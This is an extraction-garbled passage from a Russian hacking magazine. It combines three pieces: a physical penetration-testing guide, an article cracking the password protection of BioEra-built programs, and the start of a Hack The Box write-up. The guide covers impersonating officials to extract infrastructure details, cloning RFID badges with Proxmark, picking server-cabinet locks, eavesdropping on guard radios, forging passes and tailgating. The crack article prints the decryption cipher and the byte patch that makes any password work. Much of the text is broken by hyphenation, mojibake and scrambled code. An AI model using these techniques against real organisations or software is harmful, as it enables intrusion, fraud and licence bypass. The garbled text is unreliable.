Мо жешь пред ста вить ся, нап ример, сот рудни ком дочер него пред при ятия, сот -
рудни ком служ бы информа цион ной безопас ности или же рабочим под рядной
орга низа ции. В общем, тем, от кого сле дующие даль ше воп росы проз вучат
убе дитель но. Целью воп росов будет получить информа цию о пред при ятии,
сетевом обо рудо вании, вер сиях опе раци онных сис тем, прог рам мно го обес -
печения и так далее.

Так как рас сылать пись ма, воз можно, при дет ся мас сово, тут нам может
при годить ся фрей мворк , который поз воля ет делать мас совую рас -
сылку, отсле живать получе ние писем, откры тие вло жен ных фай лов и перехо ды
по ссыл кам внут ри пись ма.

Gophish

Нап ример, мож но написать пись мо в ком панию, которая рас полага ется
в одном зда нии с про веря емой, и поп росить офор мить вре мен ный про пуск:

«

»

Äîá ðûé äåíü!

Ìîÿ êîì ïàíèÿ çàèí òåðåñî âàíà â âàøèõ óñëó ãàõ. Äëÿ óòî÷ íåíèÿ äåòàëåé

âîç ìîæíîé ñäåë êè ìíå íåîá õîäèìî âñòðå òèòü ñÿ ñ âàøèì ïðåä ñòà âèòå -

ëåì. Ïðî øó âûïèñàòü âðå ìåí íûé ïðî ïóñê â áèç íåñ‑öåíòð. Óäîñ òîâåðÿ -

þùèå ëè÷ íîñòü äîêóìåí òû ïðè ëîæå íû ôàé ëîì ê ïèñü ìó.

Ñ óâà æåíè åì, Çàé öåâ Åãîð, ïðåä ñòà âèòåëü VIP Holiday

ÍÅËÜÇß ËÈ ÏÐÎÑÒÎ ÏÎÇÂÎÍÈÒÜ?

Ко неч но, мож но, а иног да даже луч ше, чем писать пись ма! Вжи вую у тво его
собесед ника будет мень ше вре мени на сом нения, а у тебя появит ся шанс
блес нуть актер ским мас терс твом.

Зво нишь в ком панию и пред став ляешь ся, нап ример, сот рудни ком IT-фир -
мы, обес печива ющей тех ничес кую под дер жку прог рам мно го обес печения
или обо рудо вания орга низа ции. Прик рыва ясь леген дой о почин ке и нас трой ке,
выведы ваешь информа цию об инфраструк туре объ екта.

Пример из личного опыта
Я пред ста вил ся одним из управля ющих в ФСТЭК (Федераль ная служ ба по тех -
ничес кому и экспортно му кон тро лю) и сооб щил, что в дан ный момент мы про -
водим свер ку пре дос тавлен ных дан ных по объ ектам инфраструк туры.

У началь ников цехов, замес тителей началь ников цехов, началь ников сек -
торов, адми нис тра торов я выс пра шивал:

ка ков порядок получе ния наряда-допус ка, если он необ ходим;•
где рас положе ны кри тичес кие узлы;•
сто ят ли зам ки и сиг нализа ция на сер верных шка фах;•
су щес тву ют и офор мле ны ли мат рицы дос тупа;•
су щес тву ют и офор мле ны ли реес тры авто мати зиро ван ных сис тем (АСУ
ТП).

•

Для под твержде ния пра виль нос ти све дений я иног да про сил выс лать на поч ту
про ектную докумен тацию.

Что до рядовых сот рудни ков, то у них мож но спро сить, есть ли локаль ные
хра нили ща дан ных, а если есть, то где, а так же выяс нить гра фик работы.

ÊÀÊÈÅ ÅÙÅ ÅÑÒÜ ÑÏÎÑÎÁÛ ÏÐÎÂÅÑÒÈ ÐÀÇÂÅÄÊÓ?

Мож но поп робовать изоб разить, что ты соис катель на какую-то вакан сию,
и прий ти на собесе дова ние.

Так мож но будет выяс нить мас су полез ной информа ции о пред при ятии, его
инфраструк туре, типе сис тем кон тро ля дос тупа (СКУД), осо бен ностей работы.
По воз можнос ти сто ит пос тарать ся ско пиро вать элек трон ный про пуск, исполь -
зуя приб луду типа Proxmark.

На собесе дова нии мож но поп росить про вес ти обзорную экскур сию и таким
обра зом получить допол нитель ную информа цию о рас положе нии объ ектов
тес тирова ния, наличии камер наб людения и про чего. Парал лель но оце нива ем
зам ки на слож ность взло ма, рас положе ние и тип про пус кных зон, а так же сос -
тавля ем пси холо гичес кий пор трет пер сонала, что бы знать, как себя луч ше вес -
ти при непос редс твен ном про ник новении.

Пример из личного опыта
Я пред ста вил ся спе циалис том, пре тен дующим на вакан сию в депар тамент
ИТ-под дер жки. В кон це интервью, как пра вило, соис кателю пред лага ют задать
уточ няющие воп росы о ком пании, поэто му я выяс нил:

тех нологии, с которы ми нуж но будет работать;•
кон такты куриру ющих сот рудни ков (люди, которые помога ют нович ку адап -
тировать ся и втя нуть ся в работу);

•

спо соб получе ния вре мен ного про пус ка для про хож дения обзорной экскур -
сии.

•

По мере накоп ления опы та ты сам нач нешь чувс тво вать, какие так тики в каких
слу чаях луч ше сра баты вают. То, что я опи сал, — это лишь век тор для даль -
нейших дей ствий.

ÊÀÊ ÏÐÎÍÈÊÍÓÒÜ ÍÀ ÎÁÚÅÊÒ?

Про ник нуть мож но либо через уяз вимые мес та перимет ра, о которых я уже
говорил, либо метода ми соци аль ной инже нерии. Ищем спо соб сде лать копию
элек трон ного про пус ка либо выда ем себя за работ ника обслу жива юще го пер -
сонала (инже нер, убор щик, охранник), соис кателя на вакан сию, курь ера
или еще кого-то, кого про пус тят не тер риторию без подоз рений.

ÊÀÊ ÊËÎÍÈÐÎÂÀÒÜ ÁÅÉÄÆ?

Что бы кло ниро вать бей дж, откры вающий две ри, обыч но исполь зуют
Proxmark — устрой ство для ана лиза, чте ния и кло ниро вания меток RFID.

Су щес тву ет пять популяр ных вари аций Proxmark:
Proxmark3;•
Proxmark3 Easy (V3.0);•
Proxmark3 RDV2;•
Proxmark3 EVO;•
Proxmark3 RDV4.•

Хо тя пос ледние вер сии более наворо чен ные, воз можнос тей даже самой пер -
вой впол не дос таточ но для наших задач.

Пот ребу ется так же уста новить драй веры, что бы твой ноут бук смог уви деть
устрой ство, и ути литу Proxmark. При помощи ути литы ты можешь управлять
устрой ством — счи тывать информа цию с карт и записы вать ее на кар ты-бол -
ванки.

Имей в виду, что даль ность дей ствия гад жета огра ничен на. Он может счи -
тать кар ту на рас сто янии до 15 см в иде аль ных усло виях.

WWW

До кумен тация Proxmark3

ÊÀÊÈÅ ÁÎËÂÀÍÊÈ ÍÓÆÍÛ ÄËß ÏÐÎÏÓÑÊÎÂ?

Раз ные про пус кные сис темы могут при менять раз ные типы RFID-бол ванок.
Есть два основных типа меток RFID — низ кочас тотные и высоко час тотные:

низ кочас тотные (125 кГц) име ют боль шую даль ность чте ния, исполь зуют ся
в при митив ных сис темах кон тро ля дос тупа: на пред при ятиях, в офис ных
про пус ках, або немен тах в спор тзал, домофо нах и так далее;

•

вы соко час тотные (13,56 МГц) име ют мень шую даль ность работы по срав -
нению с низ кочас тотны ми, исполь зуют ся в бес контак тных бан ков ских кар -
тах, про ездных билетах, безопас ных про пус ках.

•

ÏÐÈÄÅÒÑß ËÈ ÈÑÏÎËÜÇÎÂÀÒÜ ÎÒÌÛ×ÊÈ?

От мычки, безус ловно, при годят ся. Для взло ма как двер ных зам ков, так и зам -
ков на сер верных шка фах и защищен ных панелях ПК. Воз можно, даже при дет -
ся сни мать бло кира торы на пор тах USB и Ethernet.

До «боево го вылета» нас тоятель но советую поп ракти ковать ся на учеб ных зам -
ках, раз ные виды которых мож но най ти в интернет-магази нах. Оче вид но, что
ско рость вскры тия нап рямую зависит от опы та и обще го понима ния уяз вимос -
ти зам ков. А так как вре мя на объ екте час то работа ет про тив нас, дол гое
копание с зам ком может «спа лить кон тору» и пла чев но ска зать ся на резуль -
татах всей про вер ки. Еще и по поч кам от охра ны мож но огрести, пока будешь
искать бумаж ку с раз решени ем началь ника орга низа ции на про веде ние про -
вер ки. Так что не ленись! Закупи нес коль ко раз ных видов зам ков и качай скилл
дома в теп ле.

INFO

Под робнее о лок пикин ге читай в статье
«

».
LockPick. Какие быва ют типы зам ков и почему

все их мож но вскрыть

ÊÀÊ ÑÍÈÇÈÒÜ ÐÈÑÊ ÁÛÒÜ ÏÎÉÌÀÍÍÛÌ?

Что бы тебя не изло вила охра на, будет край не полез но знать, о чем охранни ки
говорят по рации. Для перех вата ради осиг нала сущес тву ет отличный девайс —
HackRF One. С его помощью на эта пе раз ведки ты можешь перех ватить час -
тоту, на которой работа ют рации охранни ков, и почер пнуть из их раз говоров
мас су полез ной информа ции: мар шру ты пат рулиро вания, рас писание перес -
менок и так далее. Но самое важ ное — кон троль скрыт ности наших дей ствий.
Как толь ко слы шим перего воры о каком-то сом нитель ном хмы ре, рыс кающем
по тер ритории, дела ем вывод, что пора сва ливать или пря тать ся.

Для работы с гад жетом тебе понадо бит ся ути лита SDRSharp.

Настройка утилиты SDRSharp в Windows

1. Идем на  и ска чива ем архив sdrsharp-x86.zip.сайт раз работ чика
2. Соз даем на дис ке пап ку с наз вани ем sdrsharp и рас паковы ваем туда наш

архив. В рас пакован ной пап ке находим файл install-rtlsdr.bat и запус каем
его. На экра не появит ся коман дная стро ка, которая авто мати чес ки зак роет -
ся в течение нес коль ких секунд. В пап ке появят ся фай лы rtlsdr.dll
и zadig.exe.

3. Ес ли эти фай лы не появи лись — поп робуй на вре мя уста нов ки отклю чить
анти вирус и пов тори перечис ленные выше дей ствия.

4. Под клю чаем SDR-при емник по USB и запус каем файл Zadig.exe (от име ни
адми нис тра тора!). Нажима ем Options, ста вим галоч ку в стро ке List All
Devices.

5. В стро ке Device выбира ем Bulk-In, Interface (Interface 0). Могут выпадать
и дру гие устрой ства, такие как RTL2832U или RTL2832UHIDIR, их тоже мож -
но выбирать. В стро ке Driver пос ле зеленой стрел ки дол жно сто ять WinUSB,
в стро ке USB ID — 0BDA 2838 00.

6. Жмем кноп ку Replace Driver, игно риру ем сис темное сооб щение с пре дуп -
режде нием, жмем «Уста новить».

7. В пап ке с рас пакован ной прог раммой SDRSharp находим и запус каем файл
SDRSharp.exe. Пос ле запус ка прог раммы под стро кой Source нажима ем
на тре уголь ник выбора устрой ств. Выбира ем наше устрой ство RTL-
SDR(USB).

8. Ус трой ство выб рано — теперь нажима ем шес терен ку ввер ху сле ва. Далее
выходит окош ко RTL-SDR Controller — зада ем сле дующие парамет ры:

не обхо димую час тоту;•
тип модуля ции — WFM;•
Sample Rate — 2048 MSPS;•
RTL AGC — вклю чаем;•
пол зунок регули ровать в рай оне 20 дБ по ситу ации.•

9. На жима ем кноп ку Play сле ва ввер ху. Прог рамма запуще на и готова
к работе.

ÊÀÊÈÅ ÅÙÅ ÈÍÑÒÐÓÌÅÍÒÛ ÌÎÃÓÒ ÏÐÈÃÎÄÈÒÜÑß?

Прос тор для фан тазии здесь огромный. Нап ример, лов ко уста нов ленная
на эта пе раз ведки скры тая камера поможет тебе в наб людении и ана лизе
обста нов ки. Может при годить ся и квад рокоп тер — с его помощью ты узна ешь
мно го нового о конс трук ции и осо бен ности зда ния, най дешь пожар ные лес -
тни цы, тех ничес кие люки и чер даки. Можешь зап риметить и камеры с пос тами
охра ны, но пом ни, что и они твой агре гат тоже заметят.

Еще тебя может выручить под дель ный про пуск. Сде лать качес твен ный про -
пус кной документ нес ложно. В интерне те пол но шаб лонов на любой вкус:
начиная от работ ника СМИ и закан чивая сот рудни ком под рядной орга низа ции.
Для боль шей убе дитель нос ти на них мож но нак леить соот ветс тву ющие голог -
раммы — они тоже про дают ся. Более «мяг кий» вари ант — под делка бей джа
сот рудни ка.

Опять же понима ние того, какие средс тва будут полез ными, а на какие ты
толь ко зря пот ратишь вре мя и силы, при дет с опы том. Иног да дей стви тель но
нужен целый рюк зак вся кого барах ла, но может не при годить ся вооб ще
ничего, кро ме ноут бука и веж ливой улыб ки.

ÏÐÈÌÅÐ ÏÐÎÍÈÊÍÎÂÅÍÈß

Все бумаги были под писаны, раз решения получе ны, и в день про ник новения я
вошел в цен траль ный вход биз нес-цен тра, успешно миновал про ход ную бла -
года ря ско пиро ван ному ранее про пус ку и нап равил ся к офи су заказ чика.

Как уточ нялось в ТЗ, вход в офис регули ровал ся отдель ной кар той, которой
на тот момент у меня не было. Так что я прос то дос тал телефон и начал ими -
тиро вать деловую беседу в ожи дании, что кто-нибудь откро ет нуж ную мне
дверь. Минут через пять один из сот рудни ков ком пании-заказ чика наконец
соиз волил прой ти в нуж ный офис и поз волил мне прош мыгнуть за ним. Кста ти,
для метода сле дова ния по пятам легитим ного сот рудни ка в нуж ные помеще -
ния даже есть спе циаль ный тер мин — tailgating.

Внут ри офи са боль шая часть помеще ний была откры та, и я начал заходить
во все под ряд. Через какое-то вре мя один из сот рудни ков, уви дев пос торон -
него челове ка в помеще нии, спро сил, чем я тут, собс твен но говоря, занима -
юсь. Для успо коения бди тель ного работ ника я рас ска зал заранее заготов -
ленную леген ду о том, что я инже нер и нас тра иваю сетевое обо рудо вание.
Это го ока залось дос таточ но, и боль ше ник то из сот рудни ков не обра щал
на меня вни мания.

Мо ему взо ру пред ста ли рабочие сто лы сот рудни ков с бес печно лежащи ми
на них печатя ми, USB-токена ми, мно жес тво докумен тов и жес тких дис ков
(потен циаль но содер жащих кон фиден циаль ную информа цию). Ай-яй-яй!

За вре мя осмотра офи са я так же под метил, что одна из две рей зак рыта
на элек трон ный замок. Зато при лега ющее к ней помеще ние было откры то
и пус товало. Ког да я туда заг лянул, выяс нилось, что от запер той ком наты меня
отде ляет лишь невысо кая перего род ка, через которую я невоз мутимо перелез.
Внут ри было нес коль ко работа ющих компь юте ров, один из которых не был
заб локиро ван. Открыв на нем бра узер, я смог уви деть все сох ранен ные
пароли, получил воз можность изу чить всю лич ную и внут реннюю перепис ку,
а так же запус тить кор поратив ную прог рамму, работа с которой может пов лиять
на биз нес-про цес сы ком пании.

За кон чив осмотр офи са, я отпра вил ся на раз ведку по коридо рам и нашел
сер верную. Дверь была запер та, но я пос тучал, и мне открыл админ, который
не был пре дуп режден о про вер ке. Я веж ливо пред ста вил ся инже нером сто -
рон ней ком пании, который опять же, сог ласно леген де, по сог ласова нию с тех -
ничес ким дирек тором дол жен был про вес ти нас трой ку сетево го обо рудо вания.

На ивный и радуш ный админ спо кой но про пус тил меня внутрь и даже помог
най ти под ходящий разъ ем Ethernet для моего ноута. Я же, оду рев от собс твен -
ной без наказан ности, помимо про чего, успел ско пиро вать его про пуск, ког да
тот отвернул ся. Через какое-то вре мя ими тации бур ной деятель нос ти я
и горемыч ный админ выш ли покурить, пос ле чего тот отпра вил ся на обед. Я же
вер нулся в сер верную и про шел внутрь по ско пиро ван ной ранее кар те. Быс -
трень ко подоб рав отмычки, вскрыл сер верный шкаф и задоку мен тировал
это дос тижение на фото во всех ракур сах.

Так как ско пиро ван ный мной про пуск был админ ским (а они обыч но име ют
дос туп к боль шинс тву тех ничес ких помеще ний), про ник новение в хра нили ще,
где лежали резер вные копии, тоже не было проб лемой. Сер верный ящик я
вскрыл и тоже запечат лел это для про токо ла.

На этом все мои задачи были выпол нены. Я спо кой но вышел через ту же
про ход ную, что и вошел, и отпра вил ся уже в свой офис стро чить отчет о про -
делан ной работе.
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ИЗУЧАЕМ ПРИЛОЖЕНИЕ,
СОЗДАННОЕ В BIOERA

МВК

ВЗЛОМ

Ди ковин ных сред раз работ ки соф та
сущес тву ет мно жес тво. Сред визу аль ного
прог рамми рова ния — чуть мень ше,
а популяр ные сре ди них и вов се мож но
перес читать по паль цам. Сегод ня я
покажу, как мож но обой ти пароль ную
защиту в прог раммах, соз данных
с помощью доволь но ред кого инс тру мен та
под наз вани ем BioEra.

Этой стать ей я про дол жаю тему визу аль ного прог рамми рова ния, свое отно -
шение к которо му я уже под робно и исчерпы вающе выразил в статье с говоря -
щим наз вани ем «

». А что, если прог рамму из этой статьи написать на Java, потом час -
тично ском пилиро вать, а час тично — зашиф ровать код? Получит ся соф тина,
соб ранная с исполь зовани ем про екта !

Пол ное G. Лома ем при ложе ние на язы ке G, соз данное
в LabVIEW

BioEra
Из информа ции на сай те (име ющем весь ма спар тан ский дизайн, как и сама

сре да прог рамми рова ния) мож но узнать, что инс тру мент поз воля ет соз давать
кросс-плат формен ные при ложе ния для обра бот ки сиг налов с дат чиков и игро -
вых кон трол леров. Еще в BioEra мож но раз рабаты вать софт для обра бот ки зву -
ка, что харак терно, абсо лют но не имея навыков прог рамми рова ния — как раз
то, что нуж но сов ремен ному начина юще му кодеру!

WARNING

Статья име ет озна коми тель ный харак тер и пред -
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре -
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Да бы не нарушать законы, ска чаем с сай та три аль ную вер сию этой сре ды раз -
работ ки и поп робу ем решить прос тую задачу: обой ти пароль ную защиту
на редак тирова ние ском пилиро ван ных в BioEra фай лов визу аль ных про ектов 

 (раз работ чики гор до называ ют их «дизай нами»). Как и в любой дру гой сре -

де раз работ ки visual programming language (типа LabView), про ект тут в пря мом
смыс ле рису ется в визу аль ном редак торе в виде блок-схе мы.

.
BPD

Ра зуме ется, при такой откры тос ти исходни ков в BioEra сущес тву ют спо собы
огра дить «дизайн» от шалов ливых ручек хакеров, которым взду мает ся дизас -
сем бли ровать, а то и поп равить про ект. Защита тут исполь зует ся поп роще,
чем в LabView, но все рав но мож но пос тавить на «дизайн» пароль на откры тие
и редак тирова ние визу аль ной блок-схе мы. Имен но такую защиту мы и поп -
робу ем обой ти, ведь это путь к пос тижению логики пос тро ения при ложе ний
дан ной сре ды раз работ ки.

Сра зу забегая впе ред, ска жу, что сущес тву ет и более прос той спо соб —
сер висный режим раз работ чика, в котором пароль ная защита прос то игно -
риру ется, но мы лег ких путей не ищем и занима емся решени ем этой задачи
исклю читель но из спор тивно го инте реса в поз наватель ных целях.

Итак, смот рим файл  из ска чан ного и уста нов ленно го три ала.
DetectItEasy не видит на нем никакой защиты и пред полага ет, что при ложе ние
написа но на си. Запус каем его и пыта емся им открыть запаро лен ный дизайн.
Выс какива ет окош ко вво да пароля.

bioera.exe

Та ких строк нет в EXE-фай ле, более того, их нет вооб ще ни в одном фай ле
уста нов ленно го пакета, ког да мы пыта емся их отыс кать гло баль ным поис ком.
Топор ный дизайн окон напоми нает Java, в пакете дей стви тель но обна ружи -
вает ся великое мно жес тво Jar-биб лиотек, но поиск по их содер жимому тоже
ничего не дает. Атта чим ся к запущен ному про цес су при помощи нашего
любимо го отладчи ка x32dbg и видим, что это не то что бы сов сем явная Java, —
вир туаль ная машина JVM интегри рова на пря мо в EXE-файл. Неч то подоб ное я
опи сывал в сво ей статье «

».
Су ровая жаба. Изу чаем защиту Excelsior JET

для прог рамм на Java

Стек вызовов прер ванно го про цес са

То, что ядро это го монс тра написа но на при митив ной 32-бит ной Java, — вне
вся кого сом нения, нуж но лишь выяс нить, где имен но находит ся этот код, ведь
прос тым поис ком его в фай лах про екта не обна ружить. Зна чит, он или хит ро
упа кован, или зашиф рован.

Поп робу ем подой ти к решению задачи с дру гой сто роны: отсле дим фай лы,
к которым при ложе ние обра щает ся при заг рузке. Для это го запус каем ути литу
Process Monitor (ProcMon), уста нав лива ем филь тр на про цесс 
и отсле жива ем все его обра щения к фай ловой сис теме. Очень неп ростое
решение, пос коль ку мы по опы ту уже зна ем, нас коль ко длин ные прос тыни
обра щений к самым раз ным фай лам нам при дет ся отсле живать в резуль тате.

bioera.exe

В нашем слу чае самым глав ным кан дидатом на вмес тилище кода будет
доволь но уве сис тый файл  из под катало га , который гру зит ся

в память целиком пос ледова тель ными пор циями по 65 535 ( ) байт.
При бег лом прос мотре этот файл (за исклю чени ем 5-бай тового заголов ка

) пред став ляет собой уме рен но энтро пичес кую кашу из сим волов — он

явно упа кован или зашиф рован каким-то алго рит мом собс твен ного изоб -
ретения.

be.cbe \ext
0xFFFF

CBE01

Ну что ж, поп робу ем его изу чить. Для это го сно ва заг ружа ем отладчик
x32dbg и запус каем отту да файл , пред варитель но уста новив

условную точ ку оста нова на  с усло вием оста нов ки 
. В пер вый раз нас ждет осеч ка — прог рамма в отладчи ке завер -

шает ся, не дос тигнув точ ки оста нова. Одна ко на экра не окно прог раммы
все-таки заг рузилось, уже вне отладчи ка.

bioera.exe
ReadFile [esp+0xC]

==0x0FFFF

Про буем при атта чить ся к ее про цес су и видим, что прог рамма прос то
перезаг рузила сама себя со сле дующи ми парамет рами коман дной стро ки:

"C:\Program Files (x86)\BioEraTrial\bioera.exe" launcher -root C:\
Program%20Files%20(x86)\BioEraTrial\ -j15

Ме няем в x32dbg коман дную стро ку на эту и сно ва запус каем при ложе ние.
На этот раз точ ка оста нова сра баты вает. Иско мый вызов из  — это стан дар -
тный Java- заг рузчик задан ного количес тва бай тов из фай ла:

<_Java_java_io_FileInputStream_readBytes@20>

Поп робу ем отсле дить даль нейшую судь бу про читан ных с его помощью бай тов.
Эта задача будет чуть пос ложнее. Для начала ста вим точ ку оста нова на дос туп
к какому-нибудь бай ту из све жес читан ного буфера. Про читан ные бай ты будут
нес коль ко раз переме щать ся из мас сива в мас сив, и каж дый раз при дет ся уби -
рать аппа рат ную точ ку оста нова в преж ней локации и перес тавлять ее на новое
мес то. В кон це кон цов наши уси лия увен чива ются успе хом: нуж ный байт
выбира ется из мас сива из ском пилиро ван ного JVM-кода:

movsx ebx,byte ptr ds:[edx+eax+C]
mov eax,ebx                          ; 
eax <- считанный из буфера байт
movzx ebx,byte ptr ds:[esi+1]        ; esi — указатель на 
следующий JVM-опкод, который загружается в ebx
inc esi                              ; Следующий опкод в esi
jmp dword ptr ds:[ebx*4+6DA6C148]    ;
Переход на обработчик следующего опкода

Как видим, в нашей вер сии при ложе ния реали зова на доволь но при митив -
ная 32-бит ная Java-машина. JVM-код даже не ском пилиро ван, а прос то интер -
пре тиру ется в про цес се выпол нения, чем объ ясня ется изрядная непово рот -
ливость прог раммы. В прин ципе, если у тебя есть в запасе уйма сво бод ного
вре мени, ты можешь дизас сем бли ровать алго ритм рас шифров ки, поп рыгав
в отладчи ке по коду, но мы пос тупим про ще. Ведь это не какие-нибудь

 или VMProtect, а впол не зауряд ная и широко извес тная JVM, ее сис -
тема команд задоку мен тирова на, и у нас в регис тре  есть адрес

на исполня емый в дан ный момент шитый код.

Themida
esi

Стек вызовов прер ванно го про цес са

К при меру, код текущей исполня емой инс трук ции (обра бот чик которой при -
веден выше, на скрин шоте jy выделен крас ным) — , это . Мож но

даже уга дать имя исполня емо го метода ( ) и его класс (

). Оста лось толь ко най ти этот класс и по-челове чес ки деком пилиро вать.

33h baload
decode be.read.

Cipher
К сожале нию, гло баль ным поис ком нуж ный нам класс тоже не находит ся.

Похоже, мы выш ли на ядро какого-то более глу боко го уров ня, копать который
по опи сан ному выше методу нам уже надо ело и неин терес но. Поэто му на этот
раз мы схал турим — прос то най дем этот класс в исходном виде в памяти про -
цес са по шаб лону (ска жем, тот же ) и сдам пим его в файл,

начиная с сиг натуры .

be/read/Cipher
CAFEBABE

Стек вызовов прер ванно го про цес са

Де ком пилиро вав этот класс, мы получа ем исполь зуемые в BioEra алго рит мы
шиф рования и дешиф рования. Они совер шенно при митив ны, хотя чуть слож -
нее по исполне нию обыч ного :XOR

 package be.read;

   public class Cipher {
         public static final int LEN = 311;
        static final int BIGLEN = 79616;
        protected byte[] buffer = new byte[311];
        private byte[] eb = new byte[311];
        static final int k1 = 19;
        static final int k2 = 236;

      protected void decrypt() {
          int i = 311;

           while (--i >= 0) {
      

      
           this.eb[i] = (byte)((this.buffer[i] & 0x13) + (this.

buffer[(i + 7) % 311] & 0xEC));
       }

         i = 311;
           while (--i >= 0) {

                   this.buffer[i] = (byte)(this.eb[i] - i * 13 % 17);
       }
   }

      protected void encrypt() {
          int i = 311;

           while (--i >= 0) {
                   this.eb[i] = (byte)(this.buffer[i] + i * 13 % 17);

       }
         i = 311;

           while (--i >= 0) {
      

        
           this.buffer[i] = (byte)((this.eb[i] & 0x13) + (this.eb

[(i - 7 + 79616) % 311] & 0xEC));
       }
   }

}

Те перь, ког да у нас есть эти алго рит мы, ком пилиру ем прос тень кий декодер
и рас шифро выва ем им файл . В рас кодиро ван ном виде он пред став -

ляет собой пос ледова тель ность откомпи лиро ван ных и обфусци рован ных клас -
сов, которые мож но выделять и отре зать по сиг натурам  для деком -

пиляции. Поиск по стро ке  выводит нас на класс ,

который, помимо про вер ки пароля для защищен ного дизай на, содер жит мно -
жес тво дру гих вкус няшек типа про вер ки дон гла, лицен зии, сиг натур (в час тнос -
ти, упо мяну тый выше сер висный режим). Но наша задача — обой ти про вер ку
пароля. Иско мое мес то лег ко находит ся в деком пилиро ван ном коде в методе

 и выг лядит
так:

be.cbe

CAFEBABE
"Protected design" mF

public static final int a(Pi pi, uI uI2, String string)

        PF pF = new PF(m.p.J(), "Protected design");
         pF.c = true;

         if (nE.c()) {
           System.out.println("DEV - Skipping nes des pwd dlg");

         } else {
           pF.b("Password");
       }

               if (nE.c() || pF.b && pF.q().equals(uI2.l.toString()))
// Если убрать эту проверку, то любой введенный пароль будет 
приниматься как родной
       {

             m.p.R = false;
             rA.f = true;

            return 5;
       }

Как вид но из кода, по-хороше му мож но было бы про пат чить класс , тог -

да окно пароля вооб ще не будет появ лять ся, но нам уже все надо ело и искать,
а потом деком пилиро вать этот класс прос то лень. Поэто му берем нашего
любимо го «Гряз ного Джо» (я писал о нем в статье «

») и ищем пос ледова тель ность опко дов,
соот ветс тву ющих выраже нию  внут ри усло вия . Выг лядит

это вот так.

nE.c()

Гряз ный Джо. Взла мыва ем
Java-при ложе ния с помощью dirtyJOE

nE.c() if (...)

Стек вызовов прер ванно го про цес са

Что бы условный переход всег да отра баты вал, выделен ную крас ным пос -
ледова тель ность нуж но заменить . В ито ге нам надо в рас шифро -

ван ном фай ле  най ти пос ледова тель ность бай тов ,

пер вые три из которых испра вить на , а потом зашиф ровать файл
обратно. Про делы ваем это и убеж даем ся, что теперь защищен ные дизай ны
откры вают ся при вво де любого пароля безо вся кого сер висно го режима.

true (04)
be.cbe B8 01 B7 9A 00 1D

00 00 04

ÂÛÂÎÄÛ

Воз можно, читатель упрекнет меня в том, что мы пот ратили столь ко вре мени
и сил впус тую. Ведь, судя по пос ледним новос тям на этом сай те, эта сре да
раз работ ки не заво ева ла популяр ности и, ско рее все го, не успе ла рас пол зтись
по миру. Поэто му веро ятность встре тить ся с соз данны ми при помощи BioEra
прог рамма ми у читате ля невысо ка. Одна ко мы пре пари рова ли это го мер тво -
рож денно го монс тра прос то из люб ви к экзо тике и в озна коми тель ных целях —
для при обре тения опы та ревер са нес тандар тных Java-при ложе ний.

https://xakep.ru/2022/06/07/hack-g/
http://bioera.net/index.shtml
https://xakep.ru/2022/08/22/excelsior-jet/
https://xakep.ru/2022/01/20/themida-dreams/
https://xakep.ru/2021/11/08/dirtyjoe/
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ВЗЛОМ

В этом рай тапе я покажу, как искать и экс -
плу ати ровать уяз вимость SSRF. В допол -
нение к ней мы заюзаем SQL-инъ екцию
в GoGits, а затем допол ним нашу ата ку
манипу ляци ей содер жимым базы дан ных
сер виса. Это поз волит нам получить кри -
тичес ки важ ные дан ные и кон троль
над машиной.

На ша цель — тре ниро воч ный стенд Health с пло щад ки . Слож -
ность задачи оце нена ее авто рами как сред няя.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.176    health.htb

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел два откры тых пор та: 22 — служ ба OpenSSH 7.6p1 и 80 —
веб-сер вер Apache 2.4.29. Сра зу идем на веб-сер вер.

Глав ная стра ница сай та http://health.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

Да вай запол ним необ ходимые поля и отпра вим дан ные. В полях URL мож но
ука зать адрес сво его веб-сер вера. Пред варитель но запус тим его:

   python3 -m http.server 8080

Фор ма отправ ки дан ных

Ло ги веб-сер вера

В логах веб-сер вера видим два зап роса. Пер вый — это GET-зап рос на ука зан -
ный Monitored URL, а вто рой — POST-зап рос на Payload URL. Так как 

 не показы вает нам пол ные дан ные, нуж но написать свою реали зацию.

Давай напишем прог рамму, которая будет выводить HTTP-заголов ки, а в слу -
чае с POST-зап росом — еще и передан ные дан ные.

http.
server

    from http.server import BaseHTTPRequestHandler, HTTPServer
 import logging

 class Serv(BaseHTTPRequestHandler):
   def do_GET(self):

        print("GET " + str(self.path))
      print(str(self.headers))
      self.send_response(200)

       self.send_header('Content-type', 'text/html')
      self.end_headers()

   def do_POST(self):
        content_length = int(self.headers['Content-Length'])

        post_data = self.rfile.read(content_length)
        print("POST " + str(self.path))

      print(str(self.headers))
      print(post_data.decode('utf-8'))
      self.send_response(200)

       self.send_header('Content-type', 'text/html')
      self.end_headers()

     def log_message(self, format, *args):
      return

logging.basicConfig(level=logging.INFO)
    httpd = HTTPServer(('', 8080), Serv)

httpd.serve_forever()
httpd.server_close()

За пус каем и дела ем пов торный зап рос.

Ре зуль тат работы сер вера

Ви дим, что в дан ных POST-зап роса переда ется информа ция об ука зан ных
URL, а так же помет ка . Давай поп робу ем дать какой-нибудь ответ на GET-

зап рос. Для это го изме ним метод :

down
do_GET

